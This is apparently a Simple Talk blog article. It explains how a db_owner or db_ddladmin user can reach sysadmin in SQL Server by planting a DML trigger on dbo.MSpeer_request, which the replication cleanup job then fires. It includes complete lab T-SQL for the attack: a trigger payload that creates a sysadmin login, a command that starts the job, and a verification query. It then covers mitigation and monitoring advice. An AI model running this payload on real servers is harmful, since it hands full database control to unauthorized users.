Privilege escalation in SQL Server isn’t just theory – it can happen through everyday maintenance jobs. This article demonstrates how a user with roles like db_owner or db_ddladmin can exploit replication cleanup processes to gain sysadmin rights, and why monitoring trigger creation and job behavior is critical for security.
What is Privilege Escalation in SQL Server?
Privilege escalation is the process by which an attacker obtains higher access rights than originally granted. In practical terms, it means a low-privileged account or process finds a way to perform actions that should only be allowed to administrators.
Because privileges determine what a user or process can do, escalation breaks containment boundaries and turns small footholds into full system compromise.
How Replication Cleanup Jobs Become an Attack Vector
When you configure a SQL Server instance to use distributor for replication, SQL Server creates several maintenance jobs under msdb to perform cleanup and housekeeping tasks.
One such job is “Expired subscription clean up”, which is automatically scheduled to run at 1AM daily and calls the system stored procedure sys.sp_expired_subscription_cleanup. That procedure performs DML against replication metadata tables (for example, dbo.MSpeer_request) as part of its cleanup work.
This job can be used as an escalation path. As documented here, “DML and DDL triggers execute under the context of the user that calls the trigger. The caller of a trigger is the user that executes the statement that causes the trigger to run.”
For example, if job “Expired subscription clean up”, running under sysadminscope, runs a DELETE statement that causes a DML trigger to run, the code inside the trigger executes in the context of the sysadmin privileges. This behavior can be exploited by users who want to introduce malicious code in the instance.
My friend Erland Sommarskog wrote an outstanding (as always) article with details of this, and also did a presentation speaking about it. For more information about permission hijack using DDL or DML triggers, take a look at his article.
Step-by-Step Exploit Demonstration
The following is a reproduction for a lab/test environment:
First, create a regular login and database user:
|
1 2 3 4 5 6 7 8 9 10 |
USE master; GO CREATE LOGIN [RegularLogin] WITH PASSWORD = 'theirpassword'; GO CREATE DATABASE DBA1; GO USE DBA1; GO CREATE USER [RegularLogin] FOR LOGIN [RegularLogin]; GO |
Next, enable replication options and create a publication (test labs only – replication setup creates the cleanup job):
|
1 2 3 4 5 |
-- This is a simplified example for a lab environment EXEC sp_replicationdboption @dbname='DBA1', @optname = N'publish', @value='true'; GO EXEC sp_addpublication @publication = N'Pub1', @description = N'Transactional publication', @sync_method = N'concurrent'; GO |
As RegularLogin, create a malicious trigger on dbo.MSpeer_request:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
USE DBA1; GO EXECUTE AS LOGIN = 'RegularLogin'; GO DROP TRIGGER IF EXISTS tr_1; GO CREATE TRIGGER tr_1 ON dbo.MSpeer_request AFTER DELETE AS BEGIN -- escalation payload (example) IF NOT EXISTS(SELECT * FROM sys.server_principals WHERE name = 'LoginSysAdmin1') BEGIN CREATE LOGIN [LoginSysAdmin1] WITH PASSWORD=N'P@ssw0rd!', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF; END ALTER SERVER ROLE [sysadmin] ADD MEMBER [LoginSysAdmin1]; END GO REVERT; GO |
Now, trigger the job or wait for its next execution:
|
1 2 3 4 |
USE msdb; GO EXEC dbo.sp_start_job N'Expired subscription clean up'; GO |
Finally, verify the escalation:
|
1 2 |
SELECT IS_SRVROLEMEMBER('sysadmin','LoginSysAdmin1') AS IsSysAdmin; GO |
And just like that, the result returns 1, indicating the attacker-created login is a sysadmin.
Any login with permission to create a trigger (such as members of the db_ddladmin fixed database role) can potentially elevate their privileges by manipulating code that might get executed under high privileges, so their actions should be monitored.
Subscribe to the Simple Talk newsletter
Why Microsoft Considers This “By Design”
I’ve reported this to Microsoft, but they say it’s a known behavior and don’t consider it a security vulnerability. I find this a bit weird, as they considered other similar escalation paths a problem that required a fix – for instance, a recent security fix was released to adjust job syspolicy_purge_history to run code under [##MS_PolicyTsqlExecutionLogin##] login to “Prevents elevation of privilege by running SQL Agent job steps for built-in jobs with reduced permissions.”
With this in mind, don’t expect a “fix” from their side, so make sure you’re implementing the right measures to prevent this issue.
Mitigation Strategies for SQL Server Privilege Escalation
This vulnerability illustrates a fundamental principle: automated maintenance and convenience features can inadvertently become elevation vectors when the interaction between internal privileged processes and user-extensible features is not carefully controlled.
Specifically, allowing user-created DML triggers on tables affected by privileged internal jobs creates a reliable escalation path.
Mitigation requires layered controls: tighten who can create triggers on replication tables, monitor and alert on trigger creation and server principal provisioning, and, at the product level, ensure that built-in maintenance work does not execute user code in an elevated context. The fix applied in other built-in job scenarios (running jobs under reduced-permission specialized logins) is an appropriate model to follow here.
Until a vendor-level remediation is applied, all SQL Server users must assume that replication maintenance jobs which perform DML against user-accessible objects might be exploitable and act accordingly: audit, restrict trigger creation, and monitor for suspicious principal changes.
FAQs: SQL Server Privilege Escalation via Replication Jobs
1. What is privilege escalation in SQL Server?
db_owner to sysadmin.2. How can replication cleanup jobs lead to sysadmin access in SQL Server?
SQL Server’s “Expired subscription clean up” job runs under sysadmin context. If a user creates a malicious DML trigger on replication tables, the trigger executes with sysadmin privileges when the job runs.
3. Does Microsoft consider this a SQL Server vulnerability?
Microsoft classifies this as “by design” behavior – not a security vulnerability – because triggers execute under the caller’s context. However, it can be exploited if permissions are mismanaged.
4. Who is at risk of exploiting this method in SQL Server?
Any login with rights to create triggers on replication tables -such as members of db_ddladmin or db_owner -can potentially use this escalation path.
5. How do you prevent privilege escalation via triggers?
Mitigation includes restricting trigger creation on replication tables, auditing trigger changes, monitoring for new sysadmin principals, and running maintenance jobs under reduced-permission accounts.
Enjoy this article? Take a look at the latest SQL Server content published here on Simple Talk:
Load comments